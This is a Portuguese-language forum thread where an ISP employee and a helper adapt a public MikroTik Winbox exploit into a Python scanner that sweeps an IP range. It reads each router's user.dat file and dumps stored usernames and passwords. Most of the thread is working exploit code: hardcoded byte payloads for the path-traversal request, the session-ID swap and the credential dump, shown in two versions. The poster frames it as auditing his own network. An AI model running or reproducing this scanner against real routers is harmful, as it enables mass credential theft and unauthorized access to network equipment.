Ir para conteúdo

Melhorando antiga vulnerabilidade mikrotik em Pyhton


lucascruz

Posts Recomendados

Fala galera blz ? 

Meu nome é Lucas e atualmente trabalho num provedor de internet aqui da região onde moro.

Neste provedor, trabalhamos com bastante equipamentos mikrotik.

Foi descoberto uma vulnerabilidade no winbox destes equipamentos se não me engano, aonde é capaz obter os usuários e senhas de um equipamento apenas passando o ip do hardware,

porém a mikrotik graças a Deus já corrigiu o bug.

 

Agora imagina se você quiser ver quais equipamentos da sua rede estão vulneráveis, você terá que colocar ip por ip de um bloco até varrer todos os hosts, e isso é muito trabalhoso.

Então pensei em uma forma de fazer com que você colocasse apenas um ip exemplo 133.255.55.0/24 e ele verificasse do zero até o 254.

 

Este é o cod do momento, efetuei algumas alterações mas não consegui chegar no resultado desejado.

A função está percorrendo todos os ip's do range, porém não funciona.

ele demora demora e cai no settimeout.

#!/usr/bin/env python3

import socket
import sys
from extract_user import dump


def hack_the_planet(ip):
    a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
         0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
         0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
         0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
         0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
         0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
         0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
         0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
         0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
         0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
         0x00, 0x00]

    b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
         0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
         0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
         0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
         0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
         0x00, 0x02, 0x00, 0x00, 0x00]

    # Initialize Socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)

    s.connect((ip, 8291))
    s.settimeout(3)

    # Convert to bytearray for manipulation
    a = bytearray(a)
    b = bytearray(b)

    # Send hello and recieve the sesison id
    s.send(a)
    d = bytearray(s.recv(1024))

    # Replace the session id in template
    b[19] = d[38]

    # Send the edited response
    s.send(b)
    d = bytearray(s.recv(1024))
    # Get results
    print(ip)
    dump(d[55:])
    s.close()


print('VARRENDO HOSTS ...')

if __name__ == "__main__":
    try:
        # getip = sys.argv[1]
        iprange = ['177.77.777.'+str(x) for x in range(0, 10)]
        print(iprange)
    except:
        print("Fail")

    for ip in iprange:
        hack_the_planet(ip)

Lembrando que o repositório onde encontrei o cod original é https://github.com/BigNerd95/WinboxExploit

Destes arquivos o unico que fiz alterações foi o WinboxExploit.py

Link para o comentário
Compartilhar em outros sites

@lucascruz  o problema no teu código NO MEU ponto de vista, tem a ver com lógica, ou seja, os dados a enviar, a receber e a ser manipulados devem ser feitos apenas se a conexão se realizar, tens que testar se a conexão existe e só depois envias os dados, recebes os dados e fazes o tratamento dos dados recebidos.

Se a conexão não for efectuada é nos dado um erro que nos dá uma ideia da razão pela qual não fez conexão para nos ajudar a resolver problemas.

A questão agora é se há algum problema com o código do bloco de instruções que é executado se a ligação for efectuada, uma  vez que não consigo reproduzir esse ambiente onde a falha existe, não consigo testar,  isso já fica ao teu encargo.

ATENÇÃO: Eu comentei a linha 

from extract_user import dump

para não dar erro a dizer quer extract_user não existe uma vez que não baixei o código do github apenas olhei para aquele foi aqui referido, para usar o dump tens que descomentar a essa linha.

Segue código:

#!/usr/bin/env python3

import socket
import sys
#from extract_user import dump


def hack_the_planet(ip):
    a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
         0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
         0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
         0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
         0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
         0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
         0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
         0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
         0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
         0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
         0x00, 0x00]

    b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
         0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
         0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
         0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
         0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
         0x00, 0x02, 0x00, 0x00, 0x00]

    # Initialize Socket
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # ATENÇÃO: Deve ser alterado mediante a necessidade
        s.settimeout(0.5)
        # excuta a conexão
        print("A testar Host: " + str(ip))
        conexao  = s.connect_ex((ip, 8291))
        
        # Testa se conexao efetuada com sucesso,
        # Se valor for 0 a conexao foi efetuada
        if conexao == 0:
            print("Conexão efetuada com sucesso em {}".format(ip))
            # Se conexao efetuada executa bloco de instruções que segue
          
            # Convert to bytearray for manipulation
            a = bytearray(a)
            b = bytearray(b)
            # Send hello and recieve the sesison id
            s.send(a)
            d = bytearray(s.recv(1024))
            # Replace the session id in template
            b[19] = d[38]
            # Send the edited response
            s.send(b)
            d = bytearray(s.recv(1024))
            # Get results
            print(ip)
            dump(d[55:])
            
            s.close()
    except socket.error as erro:
        # SE conexão não efetuada devolve erro e passa para a iteração seguinte
        print("IP: {} Porta: 8291, conexão não efetuada -> {}\n".format(ip, erro))


print('VARRENDO HOSTS ...')

if __name__ == "__main__":
    iprange =['177.77.777.' + str(x) for x in range(0, 250)]
    
    for ip in iprange:
        hack_the_planet(ip)

Abraço 

 

 

Link para o comentário
Compartilhar em outros sites

Cara, funcionou, Muito Obrigado ! ( e por sinal, ficou muuuuito melhor agora cara nossa )

 

Na realidade utilizo na grande maioria das vezes ip's públicos pois são os ip's que ficam nos mikrotiks da rede etc.

então agora com esse script posso ver quais ccr's estão desatualizadas ou vulneráveis e corrigir no Firewall.

 

vlw msm cara... 

Link para o comentário
Compartilhar em outros sites

  • Fernando Mercês changed the title to Melhorando antiga vulnerabilidade mikrotik em Pyhton

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

  • Quem Está Navegando   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.
×
×
  • Criar Novo...